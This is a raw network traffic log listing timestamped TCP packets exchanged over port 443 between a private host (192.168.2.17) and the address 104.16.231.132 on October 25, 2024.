Oct 25, 2024 10:17:44.648578882 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648611069 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648621082 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648682117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648715019 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648756027 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648786068 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648796082 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648821115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648843050 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648901939 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648941994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.648968935 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.648978949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649012089 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649028063 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649076939 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649113894 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649139881 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649151087 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649183989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649210930 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649246931 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649286032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649327040 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649337053 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649362087 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649384022 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649418116 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649457932 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649492025 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649501085 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649525881 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649548054 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649594069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649635077 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649668932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649678946 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649703979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649728060 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649785995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649827003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649854898 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649864912 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.649889946 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649909019 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.649966955 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650007010 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650039911 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650049925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650078058 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650101900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650186062 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650228977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650252104 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650260925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650286913 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650320053 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650360107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650409937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650444031 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650454998 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650480986 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650500059 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650547981 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650588036 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650620937 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650630951 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650672913 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650688887 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650705099 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650748014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650768042 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650784016 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650810003 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650831938 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650871038 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650917053 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650935888 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.650945902 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.650986910 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.651005983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.651032925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.651071072 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.651103973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.651113987 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.651144981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.651160002 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:44.855380058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:44.896733046 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:45.111339092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:45.111406088 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:45.535346985 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:45.535458088 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:46.403340101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:46.403559923 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.847223997 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.847271919 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.847356081 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.859958887 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.859993935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860014915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860052109 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860079050 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860089064 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860110998 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860122919 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860126972 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860163927 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860169888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860187054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860203028 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860212088 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860222101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860232115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860235929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860248089 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860297918 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860306025 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860323906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860344887 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860404015 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860440016 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860455990 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860480070 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860496044 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860522985 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860527992 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860549927 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860553980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860585928 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860615015 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860618114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860646963 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860675097 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860680103 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860713005 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860724926 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860737085 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860764980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860771894 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860791922 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860797882 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860825062 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860846996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860857010 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860886097 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860889912 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860909939 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860918045 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860949993 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.860965967 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.860970020 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861010075 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861032009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861054897 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861063957 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861082077 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861085892 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861112118 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861118078 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861134052 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861143112 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861169100 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861174107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861200094 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861198902 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861223936 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861228943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861244917 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861253977 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861279011 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861287117 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861310005 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861313105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861337900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861355066 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861398935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861408949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861428022 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861457109 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861468077 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861473083 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861489058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861515999 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861536980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861541033 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861557961 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861584902 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861608982 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861881971 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861922979 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861948967 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861954927 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.861979961 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.861996889 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862059116 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862106085 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862117052 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862128973 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862157106 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862174988 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862286091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862327099 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862346888 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862354040 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862379074 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862395048 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862461090 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862500906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862515926 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862523079 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862549067 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862565994 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862632036 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862672091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862688065 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862694025 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862721920 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862737894 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862793922 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862839937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862863064 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862869024 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.862891912 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862910032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.862971067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863012075 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863030910 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863038063 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863061905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863081932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863132000 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863178968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863189936 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863200903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863229036 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863245010 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863348007 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863392115 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863404989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863413095 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863440037 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863455057 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863563061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863605022 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863624096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863631010 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863666058 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863729954 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863770008 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863785028 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863790989 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863830090 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863893032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863933086 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863955021 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863960981 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.863985062 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.863998890 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864053011 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864097118 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864110947 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864118099 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864145994 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864165068 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864222050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864264965 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864286900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864293098 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864320040 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864332914 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864388943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864430904 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864442110 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864451885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864480019 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864496946 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864577055 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864617109 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864650965 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864656925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864685059 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864705086 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864757061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864800930 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864814997 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864820957 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864850044 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864921093 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864962101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.864976883 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.864984035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865022898 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865096092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865139008 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865150928 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865160942 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865190983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865207911 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865279913 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865319967 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865335941 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865345001 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865369081 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865386963 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865439892 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865485907 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865504980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865510941 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865535975 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865552902 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865607023 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865648985 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865669966 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865675926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865701914 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865720034 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865794897 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865838051 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865845919 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865858078 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.865886927 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865900040 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.865987062 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866025925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866044998 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866050959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866077900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866091967 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866147995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866192102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866205931 CEST	58442	443	192.168.2.17	104.16.231.132
